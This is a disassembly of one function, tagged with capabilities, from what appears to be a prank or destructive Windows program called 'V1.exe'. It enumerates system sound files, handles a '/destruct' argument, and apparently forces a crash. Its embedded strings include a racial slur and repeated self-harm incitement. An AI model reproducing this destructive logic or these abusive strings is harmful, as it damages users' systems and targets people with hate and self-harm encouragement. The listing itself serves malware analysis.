Function at 0x402330
Capabilities:
Accept command line arguments
Create thread
Enumerate files on windows
Hide graphical window
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2b4
mov eax, dword [0x415004]
xor eax, esp
mov dword [esp + 0x2b0], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push edi
push pe_nt_image_headers32
mov dword [esp + 0x14], ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call edi
test eax, eax
jne 0x402378
push 0x80
call esi
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 0x3fff
push 0x40
call esi
push 0x3fff
push 0x40
mov dword [esp + 0x14], eax
call esi
mov ecx, str.C:WindowsMedia_
mov edi, eax
call fcn.00401d30
mov esi, dword [esp + 0xc]
push str.C:WindowsMedia_
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str..wav
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x68]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
jne 0x4023ff
push 0x1010
push str.Having_a_skill_issue_initalizing_files_rn.
push str.It_seems_that_I_cant_initialize_the_sounds_this_time..._Maybe_I_cant_access_to_the_Media_folder.
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
call esi
push edi
call esi
push 0xff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [esp + 0x68]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4024e9
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
nop
mov eax, dword [esp + 0x68]
cmp eax, 0x10
je 0x4024bc
cmp eax, 0x400
je 0x4024bc
push 0x412118
lea eax, [esp + 0x98]
push eax
call esi
test eax, eax
je 0x4024bc
push 0x41211c
lea eax, [esp + 0x98]
push eax
call esi
test eax, eax
je 0x4024bc
push str.C:WindowsMedia_
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x94]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push edi
xor esi, esi
call ebx
test eax, eax
jle 0x4024b0
nop dword [eax]
nop word [eax + eax]
imul ecx, dword [0x14166c8], 0x3fff
mov ax, word [edi + esi*2]
push edi
add ecx, esi
inc esi
mov word [ecx*2 + 0x416ac8], ax
call ebx
cmp esi, eax
jl 0x402490
inc dword [0x14166c8]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
lea eax, [esp + 0x68]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x402420
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
push eax
call esi
push edi
call esi
mov ebx, dword [esp + 0x10]
jmp 0x4024f9
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
push eax
call esi
push edi
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0x412330
push fcn.00401750
push 0
push 0
call edi
lea eax, [esp + 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [esp + 0x64], 1
jl 0x402585
push str._destruct
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x402571
mov edx, str.V1.exe
mov ecx, 0x412330
call fcn.00401ff0
test eax, eax
jne 0x40275f
mov edx, str.save.ultrakill
mov ecx, 0x4121fc
call fcn.00401ff0
test eax, eax
jne 0x40275f
jmp 0x402741
push 0x40
push str.nice_try_nigga_:gokustare:
push str.An_ibdominable_command..._Are_you_even_want_to_test_this_shit__r_n_r_nFUCK_ME_HARDER_DADDY_r_nFUCK_ME_HARDER_DADDY_r_nFUCK_ME_HARDER_DADDY_r_nFUCK_ME_HARDER_DADDY_r_nFUCK_ME_HARDER_DADDY_r_nFUCK_ME_HARDER_DADDY_r_nFUCK_ME_HARDER_DADDY_r_n_r_nKILL_YOURSELF_r_nKILL_YOURSELF_r_nKILL_YOURSELF_r_nKILL_YOURSELF_r_nKILL_YOURSELF_r_nKILL_YOURSELF_r_nKILL_YOURSELF_r_nKILL_YOURSELF_r_n
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov edx, str.V1.exe
mov ecx, 0x412330
call fcn.00401ff0
test eax, eax
jne 0x402785
mov edx, str.save.ultrakill
mov ecx, 0x4121fc
call fcn.00401ff0
test eax, eax
jne 0x402785
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x1416fa8
push 0x67
push ebx
call esi
push 0x64
push 0x1416ee0
push 0x6d
push ebx
call esi
mov esi, dword [sym.imp.USER32.dll_LoadIconW]
push 0x6b
push ebx
mov dword [esp + 0x20], 0x30
mov dword [esp + 0x24], 3
mov dword [esp + 0x28], 0x402790
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], ebx
call esi
push 0x7f00
push 0
mov dword [esp + 0x38], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
push 0
mov dword [esp + 0x38], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push 0x6c
push ebx
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0x1416ee0
call esi
mov dword [esp + 0x44], eax
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
push 0
push ebx
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xc80000
push 0x1416fa8
push 0x1416ee0
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov esi, eax
test esi, esi
jne 0x402696
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x2b0]
xor ecx, esp
call fcn.00402997
mov esp, ebp
pop ebp
ret 0x10
push dword [ebp + 0x14]
mov dword [0x1416ed8], esi
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push 0
push 0
push 0x401950
push 0
push 0
call edi
push 0x6d
push ebx
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
push 0
push 0
mov dword [esp + 0x18], eax
lea eax, [esp + 0x50]
push 0
push eax
call esi
test eax, eax
je 0x402726
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
nop
lea eax, [esp + 0x48]
push eax
push dword [esp + 0x14]
push dword [esp + 0x50]
call dword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x402715
lea eax, [esp + 0x48]
push eax
call edi
lea eax, [esp + 0x48]
push eax
call ebx
push 0
push 0
push 0
lea eax, [esp + 0x54]
push eax
call esi
test eax, eax
jne 0x4026f0
mov ecx, dword [esp + 0x2bc]
mov eax, dword [esp + 0x50]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00402997
mov esp, ebp
pop ebp
ret 0x10
push 0x40
push str.nice_try_executing_the_command_without_restarting_lil_bro_:bruh_3:
push str.Have_you_ever_want_to_try_to_kill_yourself_for_what_you_did_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 0xc0000005
call fcn.00401130
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
push 0x10
push str.V1.exe___Program_Error
push str.The_program_cannot_find_the_file_specified.
push 0
call esi
push 0x40
push 0x4123f4
push str.Seems_that_V1.exe_failed_to_fix_the_problem..._Got_scammed_
push 0
call esi
call fcn.00401020
int3